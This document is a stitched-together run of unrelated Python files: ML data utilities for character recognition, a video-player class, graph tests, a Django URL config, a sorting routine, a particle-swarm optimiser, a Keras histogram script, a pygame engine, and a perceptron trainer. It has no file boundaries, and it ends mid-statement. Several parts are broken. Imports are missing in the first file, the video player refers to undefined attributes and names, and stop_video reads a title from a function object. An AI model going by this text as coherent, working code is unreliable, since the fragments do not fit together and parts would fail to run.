from sklearn.model_selection import train_test_split

def load_data(path):
    f = open(path, 'rb')
    images, labels = pickle.load(f)
    f.close()
    return images, labels

def preprocess_data(raw_images, raw_labels):
    images = raw_images
    labels = raw_labels.flatten()

    images = images[labels != 30]
    labels = labels[labels != 30]

    return images, labels

def make_train_test_split(images, labels, test_size):
    images_tr, images_tst, labels_tr, labels_tst = train_test_split(images, labels, test_size=test_size,
                                                                    random_state=2018)

    test_sample = (images_tst, labels_tst)
    with open('test_sample.pkl', 'wb') as f:
        pickle.dump(test_sample, f)

    train_sample = (images_tr, labels_tr)
    with open('train_sample.pkl', 'wb') as f:
        pickle.dump(train_sample, f)

def plot_img(img, label):
    plt.imshow(np.reshape(img, (56, 56)), cmap='binary')
    plt.suptitle(label)
    plt.show()

def plot_img_for_each_class(images, labels):
    for label in set(labels):
        images_of_label = images[labels==label]
        for img in images_of_label[:3]:
            plot_img(img, label)

def calculate_class_weight(labels):
    labels_dict = Counter(labels)
    m = max(labels_dict.values())
    class_weights = dict()

    for label in labels_dict.keys():
        if labels_dict[label]:
            score = m / labels_dict[label]
        else:
            score = 1
        class_weights[label] = score
    return class_weights

def plot_confusion_matrix(labels_true, labels_predicted):
    classes = ['6', 'P', 'O', 'V', 'W', '3', 'A', '8', 'T', '1', '0', '9', 'H', 'R', 'N', '7', 'K', 'L', 'G', '4', 'Y',
               'C', 'E', 'J', '5', 'I', 'S', '2', 'F', 'Z', '-', 'Q', 'M', 'B', 'D', 'U']

    cm = confusion_matrix(labels_true, labels_predicted, labels=range(36))

    plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues)
    plt.title('Confusion matrix')
    plt.colorbar()

    tick_marks = np.arange(len(classes))
    plt.xticks(tick_marks, classes)
    plt.yticks(tick_marks, classes)

    for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):
        plt.text(j, i, cm[i, j],
                 horizontalalignment="center",
                 color="white" if cm[i, j] > cm.max() / 2 else "black")

    plt.tight_layout()
    plt.ylabel('True label')
    plt.xlabel('Predicted label')

    plt.show()

if __name__ == '__main__':
    from predict import predict

    images_tst, labels_tst = load_data('test_sample.pkl')
    images_tst = images_tst.reshape(-1, 56, 56, 1)
    labels_tst = to_categorical(labels_tst, num_classes=36)

    labels_predicted = predict(images_tst)
    labels_true = np.argmax(labels_tst, axis=1)

    plot_confusion_matrix(labels_true, labels_predicted)


from .video_library import VideoLibrary
is_playing = False
previous_video = None

def now_playing(args):
    pass

class VideoPlayer:
    """A class used to represent a Video Player."""

    def __init__(self):
        self.video_under_process = None
        self._video_library = VideoLibrary()

    def number_of_videos(self):
        num_videos = len(self._video_library.get_all_videos())
        print(f"{num_videos} videos in the library")

    def show_all_videos(self):
        """Returns all videos."""
        videos = self._video_library.get_all_videos()
        print("Here's a list of all available videos:")
        temp_list = []

        for vid in videos:

            # Convoluted way to display tags in required format
            tags ="["
            for tag in vid.tags:
                tags = tags + tag + " "
            tags = tags + "]"

            if tags != "[]":
                tags = tags[0:len(tags)-2] + "]"

            # Put all videos in a list for sorting
            temp_list += [f"{vid.title} ({vid.video_id}) {tags}"]

        # Sort the list and display
        sorted_list = sorted(temp_list)
        for x in sorted_list:
            print(x)

    def play_video(self, video_id):
        global is_playing
        global previous_video
        """Plays the respective video."""

        """Args: video_id: The video_id to be played."""

        now_playing = self._video_library.get_video(video_id)

        if not now_playing:
            print(f"cannot play video: Video does not exist!")
        else:
            if is_playing is True:
                print(f"Stopping video: {previous_video}")
                print(f"Playing video: {now_playing.title}")
                previous_video = now_playing.title
            else:
                print(f"Playing video: {now_playing.title}")
                is_playing = True
                previous_video = now_playing.title

    def stop_video(self):

        global is_playing
        global previous_video

        """Stops the current video."""
        # check if video playing and stop if true
        if is_playing:
            print(f"Stopping video: {now_playing.title}")
            is_playing = False
            previous_video = None
        # Check if video playing if false, then don't do anything.
        else:
            if not is_playing:
                print("Cannot stop video: No video is currently playing!")
                previous_video = None
    def play_random_video(self):

        videos = self._video_library.get_all_videos()

        # if all videos are marked as flagged them showing no video avaiilable for random function
        if len([x for x in videos if x.flagged == None]) == 0:
            print("No videos available")
            return

        vid = videos[random.randint(0, len(videos) - 1)]
        self.play_video(vid._video_id)

    def pause_video(self):

        if self.video_under_process.video != None:
            if (self.video_under_process.status != video_state.Pause):
                self.video_under_process.set_status(video_state.Pause)
            else:
                print("Video already paused:", self.video_under_process.video._title)

        else:
            print("Cannot pause video: No video is currently playing")

    def continue_video(self):

        if self.video_under_process.video != None:
            if self.video_under_process.status == video_state.Pause:
                self.video_under_process.set_status(video_state.Continue)
            else:
                print("Cannot continue video: Video is not paused")
        else:
            print("Cannot continue video: No video is currently playing")

    def show_playing(self):

        if self.video_under_process.video != None:
            if self.video_under_process.status != video_state.Pause:
                print("Currently playing:", self.get_video_details(self.video_under_process.video))
            else:
                print("Currently playing:", self.get_video_details(self.video_under_process.video), "- PAUSED")

        else:
            print("No video is currently playing")

    def is_playlist_exist(self, name):
        return name in self.playlists.keys()

    def create_playlist(self, playlist_name):

        pln = playlist_name.lower()
        if pln in self.playlists.keys():
            print("Cannot create playlist: A playlist with the same name already exists")
        else:
            self.playlists[pln] = []
            self.userWrittenStylePlaylists[pln] = playlist_name  # for later user to display the playlist
            print("Successfully created new playlist:", self.userWrittenStylePlaylists[pln])

    def add_to_playlist(self, playlist_name, video_id):

        pln = playlist_name.lower()
        video = self._video_library.get_video(video_id)

        if self.is_playlist_exist(pln):

            if video != None:
                if (video.flagged == None):
                    if video in self.playlists[pln]:
                        print("Cannot add video to " + playlist_name + ": Video already added")
                    else:
                        self.playlists[pln].append(video)
                        print("Added video to " + playlist_name + ":", video._title)
                else:
                    print("Cannot add video to " + playlist_name + ": Video is currently flagged (reason: " + \
                          video.flagged + ")")
            else:
                print("Cannot add video to " + playlist_name + ": Video does not exist")

        else:
            print("Cannot add video to " + playlist_name + ": Playlist does not exist")

    def show_all_playlists(self):
        """Display all playlists."""
        # print("show_all_playlists needs implementation")
        if (len(self.playlists.keys()) == 0):  # means no playlist added
            print("No playlists exist yet")

        else:
            print("Showing all playlists: ")
            for playlist in sorted(self.playlists.keys()):
                print("   " + self.userWrittenStylePlaylists[playlist.lower()])

    def show_playlist(self, playlist_name):
        """Display all videos in a playlist with a given name.
        Args:
            playlist_name: The playlist name.
        """
        # print("show_playlist needs implementation")
        pln = playlist_name.lower()

        if self.is_playlist_exist(pln):
            videos = self.playlists[pln]
            print("Showing playlist:", playlist_name)

            if len(videos) != 0:
                for vid in videos:
                    print("  ", self.get_video_details(vid))

            else:
                print("  ", "No videos here yet")
        else:
            print("Cannot show playlist " + playlist_name + ": Playlist does not exist")

    def remove_from_playlist(self, playlist_name, video_id):
        """Removes a video to a playlist with a given name.
        Args:
            playlist_name: The playlist name.
            video_id: The video_id to be removed.
        """
        # print("remove_from_playlist needs implementation")

        pln = playlist_name.lower()
        video = self._video_library.get_video(video_id)

        if self.is_playlist_exist(pln):

            if video != None:
                if video in self.playlists[pln]:
                    print("Removed video from " + playlist_name + ":", video._title)
                    self.playlists[pln].remove(video)
                else:
                    print("Cannot remove video from " + playlist_name + ": Video is not in playlist")
            else:
                print("Cannot remove video from " + playlist_name + ": Video does not exist")
        else:
            print("Cannot remove video from " + playlist_name + ": Playlist does not exist")

    def clear_playlist(self, playlist_name):
        """Removes all videos from a playlist with a given name.
        Args:
            playlist_name: The playlist name.
        """
        # print("clears_playlist needs implementation")

        pln = playlist_name.lower()
        if self.is_playlist_exist(pln):
            self.playlists[pln] = []
            print("Successfully removed all videos from " + playlist_name)
        else:
            print("Cannot clear playlist " + playlist_name + ": Playlist does not exist")

    def delete_playlist(self, playlist_name):
        """Deletes a playlist with a given name.
        Args:
            playlist_name: The playlist name.
        """
        # print("deletes_playlist needs implementation")

        pln = playlist_name.lower()
        if self.is_playlist_exist(pln):
            self.playlists.pop(pln)
            print("Deleted playlist: " + pln)
        else:
            print("Cannot delete playlist " + pln + ": Playlist does not exist")

    # ======================================= PART 3
    def search_videos(self, search_term):
        """Display all the videos whose titles contain the search_term.
        Args:
            search_term: The query to be used in search.
        """
        # print("search_videos needs implementation")
        all_videos = self._video_library.get_all_videos()

        response_vid = []
        for video in all_videos:
            if (video.flagged == None):
                if search_term.lower() in video._title.lower():
                    response_vid.append(video)

        if (len(response_vid) != 0):
            i = 1
            print("Here are the results for " + search_term + ":")
            for rvid in response_vid:
                print("  ", str(i) + ")", self.get_video_details(rvid))
                i += 1

            print("Would you like to play any of the above? If yes, specify the number of the video.")
            print("If your answer is not a valid number, we will assume it's a no.")

            val = input()
            if (val.isnumeric()):
                _index = int(val)
                if _index > 0 and _index <= len(response_vid):
                    self.play_video(response_vid[_index - 1]._video_id)
            # else:
            #     print("")
        else:
            print("No search results for", search_term)

    def search_videos_tag(self, video_tag):
        """Display all videos whose tags contains the provided tag.
        Args:
            video_tag: The video tag to be used in search.
        """
        # print("search_videos_tag needs implementation")
        all_videos = self._video_library.get_all_videos()

        response_vid = []
        for video in all_videos:
            if (video.flagged == None):
                if video_tag in video._tags:
                    response_vid.append(video)

        if (len(response_vid) != 0):
            i = 1
            print("Here are the results for " + video_tag + ":")
            for rvid in response_vid:
                print("  ", str(i) + ")", self.get_video_details(rvid))
                i += 1

            print("Would you like to play any of the above? If yes, specify the number of the video.")
            print("If your answer is not a valid number, we will assume it's a no.")

            val = input()
            if (val.isnumeric()):
                _index = int(val)
                if _index > 0 and _index <= len(response_vid):
                    self.play_video(response_vid[_index - 1]._video_id)
            # else:
            #     print("")
        else:
            print("No search results for", video_tag)

    # ======================================= PART 4
    def flag_video(self, video_id, flag_reason=""):
        """Mark a video as flagged.
        Args:
            video_id: The video_id to be flagged.
            flag_reason: Reason for flagging the video.
        """
        # print("flag_video needs implementation")
        video = self._video_library.get_video(video_id)

        # if not reason is provided
        if (flag_reason == ""):
            flag_reason = "Not supplied"

        if video != None:
            if (video.flagged == None):

                # if it is the same video that is playing then stop it only
                if (self.video_under_process.video != None):
                    if (video_id == self.video_under_process.video._video_id):
                        if (
                                self.video_under_process.status == video_state.Playing or self.video_under_process.status == video_state.Pause):
                            self.video_under_process.set_status(video_state.Stop)

                video.flagged = flag_reason
                print("Successfully flagged video:", video._title + " (reason: " + video.flagged + ")")

            else:
                print("Cannot flag video: Video is already flagged")

        else:
            print("Cannot flag video: Video does not exist")

    def allow_video(self, video_id):
        """Removes a flag from a video.
        Args:
            video_id: The video_id to be allowed again.
        """
        # print("allow_video needs implementation")

        video = self._video_library.get_video(video_id)

        if video != None:
            if (video.flagged != None):
                video.flagged = None
                print("Successfully removed flag from video:", video._title)

            else:
                print("Cannot remove flag from video: Video is not flagged")

        else:
            print("Cannot remove flag from video: Video does not exist")


from test import Test

class Start:

    def start_test(id):

        test = str(input('Выберите тест: '))

        new_test = Test(test)
        new_test.read_test()

        for elem in new_test.questions:
            print(elem.quest)


import egraph as eg
import networkx as nx
import unittest

def create_graph(nx_graph):
    graph = eg.DiGraph() if nx.is_directed(nx_graph) else eg.Graph()
    indices = {}
    for u in nx_graph.nodes:
        indices[u] = graph.add_node(u)
    for u, v in nx_graph.edges:
        graph.add_edge(indices[u], indices[v], (u, v))
    return (nx_graph, graph)

class TestShortestPath(unittest.TestCase):
    @classmethod
    def setUpClass(cls):
        cls._graphs = [
            create_graph(nx.les_miserables_graph().to_undirected()),
        ]
        cls._digraphs = [
            create_graph(nx.les_miserables_graph().to_directed()),
            create_graph(nx.gn_graph(100, seed=0))
        ]

    def check(self, nx_graph, d_actual):
        d_expected = nx.floyd_warshall_numpy(nx_graph, weight='dummy')
        n = nx_graph.number_of_nodes()
        for i in range(n):
            for j in range(n):
                self.assertEqual(
                    d_actual.get(i, j),
                    d_expected[j, i],
                    f'({i},{j})'
                )

    def test_all_sources_bfs(self):
        for nx_graph, graph in self._graphs:
            self.check(nx_graph, eg.all_sources_bfs(graph, 1))

    def test_all_sources_bfs_directed(self):
        for nx_graph, graph in self._digraphs:
            self.check(nx_graph, eg.all_sources_bfs(graph, 1))

    def test_all_sources_dijkstra(self):
        for nx_graph, graph in self._graphs:
            self.check(nx_graph, eg.all_sources_dijkstra(graph, lambda _: 1))

    def test_all_sources_dijkstra_directed(self):
        for nx_graph, graph in self._digraphs:
            self.check(nx_graph, eg.all_sources_dijkstra(graph, lambda _: 1))

    def test_warshall_floyd(self):
        for nx_graph, graph in self._graphs:
            self.check(nx_graph, eg.warshall_floyd(graph, lambda _: 1))

    def test_warshall_floyd_directed(self):
        for nx_graph, graph in self._digraphs:
            self.check(nx_graph, eg.warshall_floyd(graph, lambda _: 1))

if __name__ == '__main__':
    unittest.main()


"""Proyecto2 URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/4.1/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.urls import path
from AppAvanci.views import (
    mostrar_inicio,
    mostrar_cursos,
    mostrar_entregables,
    mostrar_estudiantes,
    mostrar_profesores,
    procesar_formulario,
    procesar_formulario_2,
    busqueda,
    buscar,
    busqueda_2,
    buscar_2,
)

urlpatterns = [
    path("inicio/", mostrar_inicio, name="inicio"),
    path("cursos/", mostrar_cursos, name="cursos"),
    path("profesores/", mostrar_profesores, name="profesores"),
    path("estudiantes/", mostrar_estudiantes, name="estudiantes"),
    path("entregables/", mostrar_entregables, name="entregables"),
    path("formulario/", procesar_formulario, name="formulario"),
    path("formulario-2/", procesar_formulario_2, name="formulario_2"),
    path("busqueda", busqueda, name="busqueda"),
    path("buscar/", buscar),
    path("busqueda-2/", busqueda_2, name="busqueda-2"),
    path("buscar-2/", buscar_2)
]


def insertsort(array):
    for i in range(1,len(array)):
        key=array[i]
        j=i-1
        while j>=0 and key<array[j]:
            array[j+1]=array[j]
            j=j-1
        array[j+1]=key
l1=[9,3,5,1,2]
insertsort(l1)
print(l1)


#!/usr/bin/env python
# coding: utf-8

# In[1]:

from problem_statement import  *
import tqdm
import time
Vmax = 200

# In[2]:

def sigmoid(x):
    return (1 / (1 + np.exp(-x)))

# In[3]:

def tabu_search(Y0, maxiter = 2000):

    tabu_len = int(nbI1**2*0.01)

    tabu_set = []

    Y_current = Y0
    _, current_val = cost_fja(Y_current)

    best_val = current_val
    Y_best = Y_current

    k = 0
    i = 0
    while i < maxiter:

        if k > maxiter*0.2:
            Y_new = new_feasible_slower(Y_current,k = max(int(p/4),1))
        else:
            Y_new, code = new_feasible(Y_current)

        if code not in tabu_set:

            _, new_value = cost_fja(Y_new)
            i+=1
            if new_value > current_val:

                current_val = new_value
                Y_current = Y_new
                k=0
                if new_value> best_val:
                    tabu_set = []
                    best_val = new_value
                    Y_best = Y_new

                    #print(best_val)
            else:
                  k+=1
        else:

            if len(tabu_set) < tabu_len:
                tabu_set.append(code)
            else:
                tabu_set.pop(0)
                tabu_set.append(code)

    return   Y_best

# In[4]:

class Particle():

    #initiliaze particle
    def __init__(self, Y0):
        #individual parameters
        self.position_Y_i = [] #particle position // matrix Y

        self.velocity_i = [] #particle velosity
        self.err_i= -1       #error individual

        #global parameters
        self.pos_best_Y = [] #best position individual Y

        self.err_best = -1   #best error individual

        global tabu_set
        tabu_set = []

        for i in range(num_dimensions):
            #add velocity vector
            self.velocity_i.append(random.uniform(-Vmax,Vmax))

        #initialize position vectors
        self.position_Y_i = Y0.copy()

    # evaluate current fitness for a particle
    def evaluate(self,costFunction):
        _,self.err_i = costFunction(self.position_Y_i)

        if self.err_i > self.err_best or self.err_best ==-1:

            #pos_Y_ts, err_ts = tabu_search_(self.position_Y_i, tabu_set, maxiter = 3)

            #if err_ts > self.err_i:
            #   self.pos_best_Y = pos_Y_ts
            #   self.err_best = err_ts

            self.pos_best_Y = self.position_Y_i

            self.err_best = self.err_i

        #if len(tabu_set)<(100):

        #   tabu_set.append(list(self.position_Y_i))

    def update_velocity(self, pos_best_g, w = 2, c1 = 10, c2 = 10):
        # w -> constant inertia weight (how much to weigh the previous velocity)
        # c1 -> cognative constant
        # c2 -> social constant

        for i in range(num_dimensions):
            r1=random.uniform(0,1)
            r2=random.uniform(0,1)

            #cognitive influence
            vel_cognitive=c1*r1*(self.pos_best_Y[i]-self.position_Y_i[i])
            #social influence
            vel_social=c2*r2*(pos_best_g[i]-self.position_Y_i[i])
            self.velocity_i[i]=w*self.velocity_i[i] + vel_cognitive + vel_social

        # limit the velocity to be in (-Vmax,Vmax)

            self.velocity_i = np.divide(self.velocity_i, np.linalg.norm(self.velocity_i))*Vmax

    def update_position(self):

        for i in range(nbI1):

            sig_velocity = sigmoid(self.velocity_i[i])
            rand_val = random.random()

            self.position_Y_i[i] = rand_val < sig_velocity

        self.position_Y_i = make_Y_feasible(self.position_Y_i)

# In[5]:

def PSO(costFunc = cost_fja,num_particles = 30, maxiter = 100):

    global num_dimensions

    num_dimensions= nbI1 + nbI2
    err_best_g=-1                   # best error for group
    pos_best_g=[]                   # best position for group
    time_start = time.time()

    # establish the swarm
    swarm=[]
    for i in range(10):
        swarm.append(Particle(tabu_search(initialize(), maxiter = 2 * maxiter)))

    for i in range(10,num_particles):
        swarm.append(Particle(initialize()))

    # begin optimization loop

    for i in tqdm.tqdm(range(maxiter)):

        for j in range(num_particles):

            swarm[j].evaluate(costFunc)

            # determine if current particle is the best (globally)
            if swarm[j].err_i > err_best_g or err_best_g == -1:

                pos_best_g=list(swarm[j].position_Y_i)
                err_best_g=float(swarm[j].err_i)

                #err_best_g, pos_best_g = tabu_search(swarm[j].position_Y_i)

                time_best = time.time() - time_start

        # cycle through swarm and update velocities and position
        for j in range(0,num_particles):
            swarm[j].update_velocity(pos_best_g)
            swarm[j].update_position()
    print(err_best_g)
    time_end = time.time() - time_start

    return err_best_g, time_best, time_end

# In[6]:

#err_best_g, time_best, time_end = PSO(maxiter = 1000)

# In[ ]:

# In[7]:

#err_best_g

# In[8]:

#time_best

# In[9]:

#time_end

# In[ ]:


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import print_function
"""
Created on Tue Sep  1 13:06:23 2020

@author: xingshuli
"""

import os
import numpy as np

from keras import backend as K
from keras.models import load_model
from keras.preprocessing import image

#import cv2

import matplotlib.pyplot as plt

#load model
model_save_dir = os.path.join(os.getcwd(), 'Multi_Scale_Model')
model_name = 'keras_trained_model.h5'
model_save_path = os.path.join(model_save_dir, model_name)
model = load_model(model_save_path)

#get output of ith layer: 68, 69, 70, color = b, m, r
i = 70
get_ith_layer_output = K.function([model.layers[0].input, K.learning_phase()],
                                  [model.layers[i].output])

#load image
img_path = '/home/xingshuli/Desktop/test_pictures/green_2.jpg'

img = image.load_img(img_path, target_size=(224, 224))
x = image.img_to_array(img)
x = np.expand_dims(x, axis=0)
x /=255.
print('Input image shape:', x.shape)

#output in test mode = 0
layer_output = get_ith_layer_output([x, 0])[0]
length = layer_output.shape[3]
layer_output = layer_output.reshape(length)
layer_output = np.array(layer_output)

mu = np.mean(layer_output)
mu = round(mu, 4)
sigma = np.std(layer_output)
sigma = round(sigma, 4)

#draw histogram

plt.hist(layer_output,
         bins = 40,
         edgecolor = 'k',
         color = 'r')
title_name = 'mu = ' + str(mu) + ', ' + 'sigma = ' + str(sigma)
plt.title(title_name, fontsize = 16)
plt.xlabel('Value', fontsize = 14)
plt.ylabel('Count', fontsize = 14)

plt.rcParams['xtick.labelsize'] = 14
plt.rcParams['ytick.labelsize'] = 14

plt.savefig('s.png', dpi = 800)


import input
from box import PriceBox
from yahoofinancials import YahooFinancials

df = []
tickers = ['TSLA','GME','AMC']
start_date = '2015-11-27'
end_date = '2015-11-27'
financials = YahooFinancials(tickers)
# for ticker in (tickers):
#     df.append(input.get_stock_price_data_withPD(financials,ticker,start_date,end_date,'daily'))

box1 = PriceBox(start_date, end_date,financials)
print(box1)


import pygame, threading
from MainEngine import EngineUtils
from MainEngine import Types
import Run
import time

class PregameSettings():
    def __init__(self, engine):
        self.engine = engine
    def SetScreenDimensions(self, dimensions: pygame.math.Vector2):
        self.engine._Globals.screen = pygame.display.set_mode(dimensions)
        self.engine._Globals.display = dimensions
    def SetMaxFramerate(self, rate):
        self.engine._Globals.maxFramerate = rate
class Engine():
    def __init__(self, initialStart=True):
        if initialStart is True:
            pygame.init()
            pygame.mixer.init()
        self._Globals: self.Globals = self.Globals() #A local "private" instantiation of Globals class

    @property
    def timeScale(self):
        return self._Globals.timeScale
    @timeScale.setter
    def timeScale(self, value):
        if (type(value) == float) or (type(value) == int):
            self._Globals.timeScale = value
        else:
            print("Can only set timeScale to a numeric value.")

    def Start(self, main: Run.Main):
        self._Globals.clock = pygame.time.Clock()
        self.Input = EngineUtils.InputHandler(self)
        self.Collisions = EngineUtils.Collision(self)
        main._POSTSTART()
        self.mainReference = main
        while True:
            self.FrameEvents()

    def LoadMusic(self, music): #Use this class to load in music from a path
        pygame.mixer.music.load(music)

    def UnloadMusic(self): #Unloads the current loaded music
        pygame.mixer.music.unload()

    def ChangeMusicVolume(self, volume):
        pygame.mixer.music.set_volume(volume)

    def PlayMusic(self, volume=1, interrupt=True): #Only one music track can be playing at a time
        if self.GetUniversal("music_enabled") is False:
            volume = 0
        if interrupt is False:
            if pygame.mixer.music.get_busy() is True:
                return
        pygame.mixer.music.set_volume(volume)
        pygame.mixer.music.play()

    def PauseMusic(self):
        if pygame.mixer.music.get_busy() is True:
            pygame.mixer.music.pause()

    def ResumeMusic(self):
        pygame.mixer.music.unpause()

    def StopMusic(self):
        if pygame.mixer.music.get_busy() is True:
            pygame.mixer.music.stop()

    def PlaySound(self, sound): #Plays a sound. Multiple sounds can be played at once whereas music can only play one track concurrently
        if self.GetUniversal("sfx_enabled") == False:
            return
        pygame.mixer.Sound(sound).play()

    def SetUniversal(self, key: str, value):
        self._Globals.Universals[key] = value

    def GetUniversal(self, key: str):
        return self._Globals.Universals[key]

    def FindObject(self, name: str):
        for subscriber in self._Globals.sceneObjectsArray:
            if subscriber.gameObject.name == name:
                return subscriber
        return None

    def FrameEvents(self): #Runs events that are scheduled to run on this frame
        timeStamp1 = time.time()
        self._Globals.clock.tick(self._Globals.maxFramerate)
        self._Globals.lastRunTime = self._Globals.currentRunTime
        self._Globals.currentRunTime = pygame.time.get_ticks()

        self._Globals._totalTime += self.GetDeltaTime()
        self._PostEventsToInput()

        self._UpdateSubscribers() #Tell every GameObject to call their Update function.
        if (self.Input.TestFor.QUIT()):
            self.Quit()
        self.Input.clearEvents()
        self.Render() #Call a render update
        timeStamp2 = time.time()
        if (1/(timeStamp2 - timeStamp1)) > self._Globals.maxFramerate:
            pygame.time.delay(round((1/self._Globals.maxFramerate) - (timeStamp2 - timeStamp1)))

    def CreateNewObject(self, _object): #Adds an instantiated object to the scene to be rendered. Intended to be called from inside behaviors.
        try:
            self._Globals.sceneObjectsArray.append(_object)
            _object.obj.Start()
        except AttributeError:
            pass

    def _PostEventsToInput(self):
        self.Input.postEvents(pygame.event.get())

    def _UpdateSubscribers(self):
        for subscriber in self._Globals.sceneObjectsArray:
            try:
                subscriber.obj.Update()
            except AttributeError:
                pass

    def GetDeltaTime(self): #Returns the seconds from the last frame adjusted to the timeScale.
        return (self.GetDeltaTimeRAW() * self._Globals.timeScale)

    def GetDeltaTimeRAW(self): #Returns the raw seconds from the last frame.
        timeRaw = ((self._Globals.currentRunTime - self._Globals.lastRunTime)) / 1000
        timeRaw = timeRaw if timeRaw > 1/self._Globals.maxFramerate else 1/self._Globals.maxFramerate
        return timeRaw

    def GetTotalTime(self): #Returns the total amount of time since the engine was created.
        return self._Globals._totalTime

    def CalculateRenderOrder(self):
        array = []
        linkedObjArray = []
        sOA_copy = self._Globals.sceneObjectsArray.copy()
        if (len(sOA_copy) != 0):
            for obj in sOA_copy:
                if (obj.gameObject.renderEnabled):
                    array.append(obj.gameObject.position.z) #Add z-component of position to sorting array
                    linkedObjArray.append(obj) #Add behavior to sorting array to be sorted by z-layer
            n = len(array)
            EngineUtils.MathTools.QuickSort.LinkedObject.QuickSort(array, linkedObjArray, 0, n-1) #Use our linked object quicksort algorithm
            return (linkedObjArray, array)
        del array, linkedObjArray, sOA_copy
        return None

    def Quit(self): #Used to exit the program at the engine level
        quit()

    def Reload(self): #Restarts the program without actually closing and re-opening.
        copyOfSceneObjs = self._Globals.sceneObjectsArray.copy()
        for item in copyOfSceneObjs:
            try:
                item.gameObject.sprite.kill()
            except Exception:
                pass

            try:
                self._Globals.sceneObjectsArray.remove(item)
                item.obj.Destroy()
            except Exception:
                pass
            del item
        del self.Input
        del self.Collisions
        del copyOfSceneObjs
        del self._Globals
        self.mainReference.Reload()

    def Render(self): #PLEASE NOTE: EVERYTHING will be rendered unless specified otherwise by the behaviors GameObject. Even if it's not actually on the screen.
        self._Globals._screen.fill((0,0,0)) #Background, can remove.
        renderOrderReturnVal = self.CalculateRenderOrder()
        if (renderOrderReturnVal == None):
            return
        array = renderOrderReturnVal[0]
        for i in array:
            self._Globals.screen.blit(i.gameObject.sprite.image, (i.gameObject.position.x + i.gameObject._offset.x, i.gameObject.position.y + i.gameObject._offset.y))
        pygame.display.flip()

    def AddImageAsset(self, key: str, value: str or list, transparency=True): #Loads an image into memory and makes it easier to access images just by their specified key.
        if type(value) == str:
            self._Globals.Assets[key] = pygame.image.load(value).convert_alpha() if transparency else pygame.image.load(value)
        elif type(value) == list:
            self._Globals.Assets[key] = [(img.convert_alpha() if transparency else img) for img in value]
        elif type(value) == pygame.Surface:
            self._Globals.Assets[key] = value.convert_alpha() if transparency else value
        else:
            print("Can only import lists of paths or paths.")

    def GetImageAsset(self, key: str or pygame.Surface) -> pygame.Surface: #Grabs a loaded image from memory using the specified key.
        try:
            return self._Globals.Assets[key]
        except KeyError:
            return None

    def AddAnimation(self, key: str, sequence: list, framerate: float, loop=True): #Same as AddImageAsset but for animations
        self._Globals.Animations[key] = Types.Animation(sequence, framerate, loop)

    def GetAnimation(self, key: str) -> Types.Animation: #Same as GetImageAsset but for animations
        try:
            return self._Globals.Animations[key]
        except KeyError:
            return None

    def SetCaption(self, value: str): #Sets the caption of the window
        pygame.display.set_caption(value)

    def SetIcon(self, value: str): #Sets the icon of the window. NOTE: icon must be the path of the image.
        pygame.display.set_icon(pygame.image.load(value))

    class Globals():
        _totalTime = 0
        Assets = {}
        Animations = {}
        sceneObjectsArray = []
        _display = (512, 512)
        clock = None
        lastRunTime = pygame.time.get_ticks()
        currentRunTime = pygame.time.get_ticks()
        Universals = {}
        maxFramerate = 60

        _screen = pygame.display.set_mode(_display)
        timeScale = 1
        @property
        def display(self):
            return self._display
        @display.setter
        def display(self, value):
            self._display = value
            self._screen = pygame.display.set_mode(self._display)


import pygame
import sys
from settings import *
from plain import Plain

class Game:
    def __init__(self):
        pygame.init()
        pygame.display.set_caption(TITLE)
        # screen settings
        self.screen = pygame.display.set_mode((WIDTH, HEIGHT))
        self.background = pygame.Surface((WIDTH, HEIGHT))
        self.background.fill(pygame.Color('#000000'))
        self.clock = pygame.time.Clock()
        # plain initialization
        self.plain = Plain(self.clock)

    def run(self):
        while True:
            for event in pygame.event.get():
                # quit game
                if event.type == pygame.QUIT:
                    pygame.quit()
                    sys.exit()

            self.clock.tick(FPS)
            self.background.fill(pygame.Color('#000000'))
            self.plain.update()
            pygame.display.update()
            self.screen.blit(self.background, (0, 0))

if __name__ == '__main__':
    game = Game()
    game.run()


import random

#alpha
learningRate = 0.05
epoch = 1
input = 4
weights = []
theta = 0
bias = -1
correctCounter = 0
epochcounter = 0

def signActivation(input):
	if input >= 0:
		return 1.0;
	else:
		return -1.0;

def backPropagation(inputlist):
	global theta
	global weights
	loop = 0
	X = 0

	while(loop < input):
		X += inputlist[loop] * weights[loop]
		loop+=1

	X += (bias)*theta
	#X = (inputlist[0] * weights[0]) + (inputlist[1] * weights[1]) + (inputlist[2] * weights[2]) + (inputlist[3] * weights[3]) - theta
	Y = signActivation(X)
	print(X)
	error = inputlist[4] - Y

	backcount = 0

	while(backcount < input):
		weights[backcount] = weights[backcount] + (learningRate * inputlist[backcount]) * error
		backcount+=1
	#weights[0] = weights[0] + (learningRate * inputlist[0] * error)
	#weights[1] = weights[1] + (learningRate * inputlist[1] * error)
	#weights[2] = weights[2] + (learningRate * inputlist[2] * error)
	#weights[3] = weights[2] + (learningRate * inputlist[3] * error)
	theta += (learningRate * (-1) * error)
#we are using global variables right now hence no need to pass the weights
		#backcount+=1
	#print("Error: ", error, "Weight 0: ", weights[0], "Weight 1: ", weights[1], "Weight 2: ", weights[2], "Weight 3: ", weights[3])
	#backcount +=1

def checkWeights(inputlist):

	global theta
	global weights
	loop = 0
	X = 0

	while(loop < input):
		X += inputlist[loop] * weights[loop]
		loop+=1

	X += (bias)*theta
	Y = signActivation(X)

	if(Y == inputlist[4]):

		return 1;
	else:

		return 0;

#intialialze the random weights at the start
count = 0
while(count < input):
	weights.append(random.uniform(-1, 1))
	print("Weight",count, ": ", weights[count])
	count+=1

theta = random.uniform(-1, 1)

print("Theta:",theta)

import csv
epochcounter = 0
while(epochcounter < epoch):
	with open('iris-binary-normalized.csv', newline='') as csvfile:
		csvreader = csv.reader(csvfile, delimiter=',')

		for row in csvreader:
			slength = float(row[0])
			swidth = float(row[1])
			plength = float(row[2])
			pwidth = float(row[3])
			label = int(row[4])

			inputlist = [slength, swidth, plength, pwidth, label]
			#print(inputlist)
			backPropagation(inputlist)
			#section where we adjust the weights
			#print(epochcounter)
	epochcounter+=1

with open('iris-binary-normalized.csv', newline='') as csvfile:
